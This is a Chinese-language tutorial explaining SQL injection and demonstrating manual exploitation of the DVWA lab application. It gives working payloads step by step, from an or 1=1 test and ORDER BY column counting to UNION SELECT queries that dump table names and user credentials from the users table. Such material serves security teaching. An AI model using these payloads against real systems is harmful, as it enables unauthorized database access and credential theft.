1、什么是sql注入?
SQL注入攻擊是通過將惡意的SQL查詢或添加語句插入到應用的輸入參數中,再在后台SQL服務器上解析執行進行的攻擊,它目前是黑客對數據庫進行攻擊的最常用的手段之一。
2、sql注入能帶來的威脅?
猜解后台數據庫,這是利用最多的方式,盜取網站的敏感信息。
繞過認證,列如繞過驗證登錄網站后台。
注入可以借助數據庫的存儲過程進行提權等操作。
3、手動sql注入演示
3.1、驗證是否存在漏洞
輸入1:
輸入 1' or 1=1#:
我們是通過控制參數id的值來返回我們需要的信息。如果我們不按常理出牌,比如在輸入框中輸入1‘ or 1 = 1# 實際執行的SQL語句會變成。通過返回結果 ,我們可以判斷此處存在sql注入。
3.2、猜測查詢語句的字段數:
輸入 1' order by 1#:
輸入 1' order by 2#:
輸入 1' order by 3#:
通過這三次訪問,可以判斷目前只查詢兩列數據,分別為first name和surname;
3.3、獲取當前數據庫
我們使用union select 聯合查詢繼續獲取信息。union運算符可以將兩個或者兩個以上select語句的查詢結果集合合並成一個結果集顯示,即執行聯合查詢。需要注意在使用union查詢的時候需要和主查詢的列數相同,而我們之前已經知道了主查詢列數為2。
輸入 1' union select 1,database() #
說明當前的數據庫為dvwa,我們嘗試獲取dvwa數據庫中的表名。information_schema是mysql自帶的一張表,這張數據表保存了Mysql服務器所有數據庫的信息,如數據庫名、數據庫的表、表欄的數據類型與訪問權限等。該數據庫擁有一個名為tables的數據表,該表包含兩個字段table_name和table_schema,分別記錄DBMS中的存儲的表名和表名所在的數據庫。
輸入 1' union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa'#
說明數據庫dvwa中一共有兩個表,guestbook與users
3.4、獲取表中的字段
輸入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' #
3.5、獲取表中數據
輸入 1' union select user, password from users#